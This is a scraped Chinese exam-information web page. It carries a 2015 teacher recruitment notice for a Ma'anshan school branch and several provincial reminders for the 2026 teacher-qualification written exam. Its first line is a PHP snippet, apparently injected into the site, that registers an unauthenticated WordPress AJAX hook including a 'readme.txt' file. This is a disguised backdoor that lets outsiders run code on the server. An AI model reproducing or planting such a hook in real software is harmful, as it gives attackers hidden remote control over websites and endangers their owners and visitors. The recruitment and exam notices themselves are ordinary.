if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
安徽省马鞍山市郑蒲港分校2015年公招教师公告-全国教师资格考试网

安徽省马鞍山市郑蒲港分校2015年公招教师公告

  为充分发挥优质教育资源的辐射和引领作用,支持马鞍山市郑蒲港新区加快发展,根据市委市政府部署和新区整体规划,马鞍山市第二中学在郑蒲港新区领办郑蒲港分校。现因学校教育教学发展需要,2015年度面向社会公开选调和招聘部分教师。
一、招聘原则
(一)公平、公正、公开。
(二)全面考核,竞争择优。
二、选调和招聘计划
2015年拟面向社会公开选调在编在岗公办学校教师5名,公开招聘教师24名。招聘岗位计划等信息详见附件1。
本次公开选调和招聘公告将在中国教育报、新安晚报、安徽教师招考网(www.ahteacher.com)、马鞍山市人力资源和社会保障局网(www.massi.gov.cn)、马鞍山市人事考试网(www.masrsks.cn)、马鞍山教育信息网(www.masedu.cn)、马鞍山市第二中学校园网(www.ahmasez.cn)和马鞍山市第二中学郑蒲港分校校园网(http://zpgfx.ahmasez.cn)等媒体上发布。
三、面向社会选调优秀教师
(一)选调条件
1.公办学校在编在岗教师;
2.热爱教育事业,师德高尚,遵纪守法,身心健康;
3.教风踏实,勇于创新,学科素养高,有良好的团队合作精神和教学反思能力;
4.具有本科及以上学历,高中教师资格,高级教师职称;
5.年龄45周岁以下(1970年1月1日后出生),具有三年以上普通高中教学工作经历。特级教师、地级市学科带头人、省“教坛新星”、省优质课竞赛一等奖以上获得者年龄放宽到50周岁(1965年1月1日后出生)。
(二)教师待遇
1.公开选调教师人事工资关系在马鞍山市第二中学,工作在马鞍山市第二中学郑蒲港分校;
2.公开选调教师收入待遇比照郑蒲港新区有关规定执行;
3.公开选调教师评定职称时视为支教教师优先考虑;
4.地级市骨干教师到岗后直接认定为第四届市级学科带头人;地级市学科带头人到岗后优先参评特级教师;
5.学校免费提供教师公寓。
四、面向社会招聘优秀教师
(一)招聘条件
1.热爱教育事业,师德高尚,遵纪守法,身心健康;
2.创新意识强,学科素养高,有良好的团队合作精神和教学反思能力;
3.具有本科及以上学历,高中教师资格;
4.35周岁以下(1980年1月1日后出生)。特级教师、地级市学科带头人、省“教坛新星”、省优质课竞赛一等奖以上获得者年龄放宽到40周岁(1975年1月1日后出生);
(二)教师待遇
1.公开招聘教师按照市属事业单位新进人员管理办法执行,工作在马鞍山市第二中学郑蒲港分校;
2.公开招聘教师收入待遇比照郑蒲港新区有关规定执行;
3.公开招聘教师评定职称视为支教教师优先考虑;
4.地级市骨干教师到岗后直接认定为第四届市级学科带头人;地级市学科带头人到岗后优先参评特级教师;
5.学校免费提供教师公寓。
五、有下列情形之一的人员,不得报考:
(一)不符合选调和招聘岗位条件要求的人员;
(二)在读的全日制普通高校非应届毕业生;
(三)现役军人;
(四)经政府人力资源社会保障部门认定具有考试违纪行为且在停考期内的人员;
(五)曾因犯罪受过刑事处罚的人员和曾被开除公职的人员、受到党纪政纪处分期限未满或者正在接受纪律审查的人员、处于刑事处罚期间或者正在接受司法调查尚未做出结论的人员;
(六)法律规定不得参加报考或聘用为事业单位工作人员的其他情形人员。
六、选调和招聘程序
(一)报名与资格审查
1.网上预报名与资格初审。时间:2015年4月7日至6月14日,逾期不再受理。报考人员登录马鞍山市第二中学校园网(www.ahmasez.cn)或马鞍山市第二中学郑蒲港分校校园网(http://zpgfx.ahmasez.cn),填写《马鞍山市第二中学郑蒲港分校2015年度教师选调和招聘报名表》(附件2),签署“马鞍山市事业单位公开招聘人员报考人员诚信承诺书”(附件3),并将各类证件、荣誉证书复印件、近期本人全身正面电子版彩色照片发至电子邮箱(masezzpgfx@163.com)。所填信息必须与本人实际情况、选调(招聘)条件和所报考岗位要求一致并真实无误,否则,责任和后果自负。凡因弄虚作假或虽通过资格审查但实际与报考规定不符的,一经查实,即取消选调和聘用资格。
每位报考人员限报一个岗位,并使用本人同一有效居民身份证进行报名和参加考试。
2015年6月16日前,学校通过电话或短信告知资格初审合格者参加现场报名与资格复审。
马鞍山市在编在岗教师符合报考条件报名的,由马鞍山二中郑蒲港分校集中报马鞍山市教育局批准后,方可参加公开选调和招聘。
2.现场报名与资格复审。时间:2015年6月 19日8:00-17:00;地点:马鞍山第二中学(马鞍山市健康路2号)。资格复审时,报考人员须提供本人近期一寸免冠同底照片3张,本人有效居民身份证、《马鞍山市第二中学郑蒲港分校2015年度教师选调和招聘报名表》、报考人员诚信承诺书、学历学位证书(2015届毕业生提供所在学校盖章的《毕业生就业推荐表》、学生证原件及复印件)、高中教师资格证(通过2015年高中教师资格认定尚未取得资格证的,须提供资格认定部门盖章的证明)、专业技术职务资格证书、荣誉证书等相关证件。
特级教师、地级市学科带头人、省“教坛新星”、省级优质课一等奖以上获得者,现场报名时间:2015年6月20日8:00-11:00;地点:马鞍山第二中学(马鞍山市健康路2号)。此类人员除提供本人近期一寸免冠同底照片3张,本人有效居民身份证、《马鞍山市第二中学郑蒲港分校2015年度教师选调和招聘报名表》、报考人员诚信承诺书、学历学位证书、高中教师资格证、专业技术职务资格证书、荣誉证书等相关证件材料外,一并提供特级教师、地级市学科带头人、省“教坛新星”、省级优质课一等奖相关证件(书)。
提供以上的证件、证书和相关证明材料均须为原件及复印件(1份)。资格复审合格人员,分别领取《专业测试通知书》和《课堂教学通知书》。
(二)考试
考试包括专业测试、课堂教学和面试答辩三个环节。
1.专业测试
(1)专业测试时间:2015年6月20日上午;具体时间、地点见《专业测试通知书》。报考人员凭《专业测试通知书》和本人有效居民身份证参加专业测试。
(2)专业测试满分100分。根据不同学科进行专业笔试(语文、数学、英语、物理、化学、生物、历史)或专业技能测试(体育、信息技术和通用技术)。专业笔试内容为本学科专业的综合性知识。体育、信息技术、通用技术专业测试内容以马鞍山市现行使用的高中相应学科教材为主。
(3)专业测试后,以成绩高低排序,每个招聘岗位按1:3比例确定进入课堂教学环节人员,并通知领取《课堂教学通知书》。低于1:3的或按比例入围的最后1个名额出现两名以上应聘人员专业测试成绩相同的,一并进入课堂教学环节。
(4)特级教师、地级市学科带头人、省“教坛新星”、省级优质课一等奖以上获得者不参加专业测试,直接进入课堂教学环节,且不占专业测试入围比例。
2.课堂教学
(1)课堂教学时间:2015年6月21日;具体时间、地点见《课堂教学通知书》。报考人员凭《课堂教学通知书》和本人有效居民身份证参加课堂教学。
(2)课堂教学满分100分。入围课堂教学人员,根据各学科指定的相关教学内容进行时间为30分钟的无生上课。
(3)课堂教学后,以成绩高低排序,每个招聘岗位按1:2比例确定进入面试答辩环节人选,并通知领取《面试答辩通知书》。低于1:2的或按比例入围的最后1个名额出现两名以上应聘人员课堂教学成绩相同的,一并进入面试答辩环节。
3.面试答辩
(1)面试答辩时间:2015年6月22日;具体时间、地点见《面试答辩通知书》。报考人员凭《面试答辩通知书》和本人有效居民身份证参加面试答辩。
面试答辩由面试答辩考官组根据教学要求,结合应聘人员专业测试、课堂教学等情况,对其成长背景、教育教学思想、教科研能力等进行现场提问,应聘人员现场答辩,时间为每人10分钟。
(2)面试答辩后,面试考核小组投票,以赞成票数高低排序,按1:1比例确定进入体检考察程序人选。若赞成票数相同,则再次进行投票,直至选出进入体检程序人选。面试答辩人员赞成票数为零,取消其进入体检程序。
(三)体检与考察
1.体检工作按照《安徽省教师资格申请人员体检标准及办法》等规定执行,在三级甲等以上综合性医院进行。体检工作结束后,由医院出具“合格”或“不合格”的结论性意见,并加盖单位体检专用公章。
2.体检合格人员,进入考察程序。考察工作根据选调和招聘岗位要求,采取多种形式,全面了解考察对象的思想政治表现、道德品质、业务能力、工作实绩(学业成绩)及遵纪守法等情况,并形成书面考察材料。
3.选调和招聘期间,报考人员如不按规定参加专业测试、课堂教学、面试答辩、体检等程序,视为自动放弃。
对体检、考察出现缺额的,按照规定程序和时限,在同岗位报考人员中,按照面试答辩赞成票数由高到低排序依次递补一次。拟选调和招聘人员名单公示结束,不再进行递补。
(四)公示
体检和考察合格人员名单,在马鞍山市人力资源和社会保障局网、马鞍山教育信息网公示一周。
(五)签约聘用
经公示无异议或公示结果不影响选调和聘用的,按规定办理报批等手续。对违反公开选调和招聘规定人员或未能在2015年7月31日前提供选调(招聘)岗位所要求的相应层次的学历等证书的报考人员,取消其选调和聘用资格。
七、有关事宜
本《公告》由马鞍山市人社局、市教育局负责解释。
本次公开选调和招聘有关信息,将在马鞍山市第二中学校园网和马鞍山市第二中学郑蒲港分校校园网公布,请考生注意查询、查阅。
本次公开选调和招聘,不指定任何教材、复习资料,也不举办、不委托举办任何形式的辅导和培训活动。
政策咨询电话:0555-2366843  0555-2473336
网上预报名咨询电话:0555-2977602  18855596221(何老师)
监督举报电话:0555-2366835  0555-2472786
《马鞍山市第二中学郑蒲港分校2015年度公开选调和招聘教师岗位计划表》中有关事项由马鞍山市第二中学负责解释(电话:0555-2977602)。
上述咨询服务和监督举报电话于正常办公时间使用。
特此公告。
 马鞍山市人力资源和社会保障局  马鞍山市教育局
2015年4月7日
 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部